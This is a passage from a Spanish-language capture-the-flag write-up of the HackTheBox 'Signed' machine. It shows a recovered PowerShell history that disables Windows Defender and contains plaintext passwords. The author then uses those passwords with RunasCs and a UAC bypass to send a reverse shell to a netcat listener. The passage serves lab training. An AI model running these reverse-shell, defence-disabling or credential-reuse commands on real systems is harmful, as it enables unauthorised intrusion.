ure /db C:\\Windows\\Security\\local.sdb /cfg C:\\windows\\tasks\\cur.inf /areas USER_RIGHTS\r\nsc.exe privs MSSQLSERVER SeChangeNotifyPrivilege/SeCreateGlobalPrivilege/SeIncreaseWorkingSetPrivilege/SeIncreaseQuotaPrivilege\r\nRestart-Service mssqlserver\r\n$zone = "DC=signed.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=signed,DC=htb"`\n$account = Get-ADUser mssqlsvc`\n`\n$acl = Get-ACL "AD:$zone"`\n$identity = New-Object System.Security.Principal.NTAccount($account.SamAccountName)`\n`\n$rights = [System.DirectoryServices.ActiveDirectoryRights]"GenericAll"`\n$inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::All`\n$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$rights,"Allow",$inheritance)`\n`\n$acl.AddAccessRule($ace)`\nSet-ACL -ACLObject $acl "AD:$zone"\r\nEnable-PSRemoting -Force\r\n$FQDN = "dc01.signed.htb"`\n$cert = New-SelfSignedCertificate -DnsName $FQDN -CertStoreLocation Cert:\\LocalMachine\\My -KeyExportPolicy Exportable -FriendlyName "WinRM HTTPS $FQDN" -NotAfter (Get-Date).AddYears(5)`\n$thumb = ($cert.Thumbprint).Replace(" ","")`\nwinrm create winrm/config/Listener?Address=*+Transport=HTTPS "@{Hostname=`"$FQDN`";CertificateThumbprint=`"$thumb`"}"\r\ntry { winrm delete winrm/config/Listener?Address=*+Transport=HTTP } catch {}\r\nSet-Item -Path WSMan:\\localhost\\Client\\TrustedHosts -Value * -Force`\nnetsh advfirewall firewall add rule name="WinRM over HTTPS (5986)" dir=in action=allow protocol=TCP localport=5986`\nRestart-Service WinRM -Force\r\nnetstat -ano -p tcp\r\nwinrm enumerate winrm/config/listener\r\nwinrm get winrm/config\r\nNew-NetFirewallRule -DisplayName "Allow RDP - Any IP" ``\n -Direction Inbound ``\n -Protocol TCP ``\n -LocalPort 3389 ``\n -Action Allow ``\n -Profile Any ``\n -Enabled True ``\n -Description "Allow RDP access from any IP address (testing only)"\r\nSet-NetFirewallProfile -Profile Domain,Public,Private -DefaultInboundAction Block -DefaultOutboundAction Allow\r\nNew-NetFirewallRule -DisplayName "Allow DNS - Domain Only" ``\n -Direction Inbound ``\n -Protocol UDP ``\n -LocalPort 53 ``\n -Action Allow ``\n -Profile Any ``\n -Description "Allow DNS queries from domain network"\r\nGet-NetFirewallRule -Direction Inbound | Where-Object {$_.DisplayName -notlike "Allow *"} | Disable-NetFirewallRule\r\nNew-NetFirewallRule -DisplayName "Allow MSSQL - Any IP" ``\n -Direction Inbound ``\n -Protocol TCP ``\n -LocalPort 1433 ``\n -Action Allow ``\n -Enabled True ``\n -Profile Any ``\n -Description "Allow MSSQL access from any IP address"\r\nls \\users\\\r\ncd .\\Desktop\\\r\nnotepad root.txt\r\nnotepad C:\\Users\\mssqlsvc\\Desktop\\user.txt\r\ndir\r\ncmd /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -RemoveDefinitions -All\r\npowershell -command \'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true\' \r\ndir\r\ncd \\windows\\takss\r\ncd C:\\windows\\Tasks\\\r\ndir\r\ndel *\r\ndir\r\ncd \\\r\ndir\r\ncd users\r\ncd .\\Administrator\\Desktop\\\r\nnotepad cleanup.ps1\r\ncls\r\n$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-ExecutionPolicy Bypass -File C:\\Users\\Administrator\\Documents\\cleanup.ps1"`\n$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 15) -RepetitionDuration (New-TimeSpan -Days 365)`\n$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable`\nRegister-ScheduledTask -TaskName "Clean_DNS_Task" -Action $Action -Trigger $Trigger -Settings $Settings -User "SIGNED\\Administrator" -Password "Welcome1"\r\ncd ..\\Documents\\\r\nnotepad restart.ps1\r\nexplorer .\r\ndir ..\\Desktop\\\r\nmove ..\\Desktop\\cleanup.ps1 .\r\ndir ..\\Desktop\\\r\ndir\r\nGet-NetConnectionProfile\r\nSet-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset\r\nSet-Service TermService -StartupType disabled\r\nexit\r\nGet-NetConnectionProfile\r\nnltest /dsgetdc:signed.htb\r\nwusa /uninstall /kb:5065428\r\niwr http://10.10.11.90:81/vmt.exe -O vmt.exe\r\niwr http://10.10.14.62:81/vmt.exe -O vmt.exe\r\n.\\vmt.exe\r\ndel .\\vmt.exe\r\nmanage-bde -off c:\\\r\ndisable-bitlocker -mountpoint c:\\\r\npowershell iwr https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2024/06/windows10.0-kb5039217-x64_bc72f4ed75c6dd7bf033b823f79533d5772769a3.msu -O update.msu\r\n.\\update.msu\r\ndel .\\update.msu\r\ndir\r\niwr https://catalog.s.download/windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu -O updates.exe\r\niwr https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu -O updates.exe\r\n.\\updates.exe.exe\r\n.\\updates.exe\r\nmove .\\updates.exe .\\updates.msu\r\n.\\updates.msu\r\ndel .\\updates.msu\r\n'
Ordenando éste un poco, vemos que este archivo indica cómo está configurada la máquina. Una línea interesante es:
<SNIP>
Register-ScheduledTask -TaskName "Clean_DNS_Task" -Action $Action -Trigger $Trigger -Settings $Settings -User "SIGNED\\Administrator" -Password "Welcome1"
<SNIP>
Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset
<SNIP>
Obtenemos 2 potenciales contraseñas: Welcome1 y Th1s889Rabb!t.
Podemos subir un binario de RunasCs a la máquian víctima (el cual puede ser descargado desde su repositorio de Github) -de manera similar a como subimos netcat anteriormente- utilizar estas contraseñas para acceder como el usuario Administrator y enviarnos una reverse shell como éste:
C:\Windows\System32>C:\Windows\System32\spool\drivers\color\RunasCs.exe Administrator "Th1s889Rabb!t" cmd.exe -r 10.10.16.18:443 -t 10 --bypass-uac
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-59720$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 4968 created in background.
En nuestro listener con netcat obtenemos una shell como el usuario Administrator:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.18] from (UNKNOWN) [10.129.197.131] 57023
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
signed\administrator
~Happy Hacking.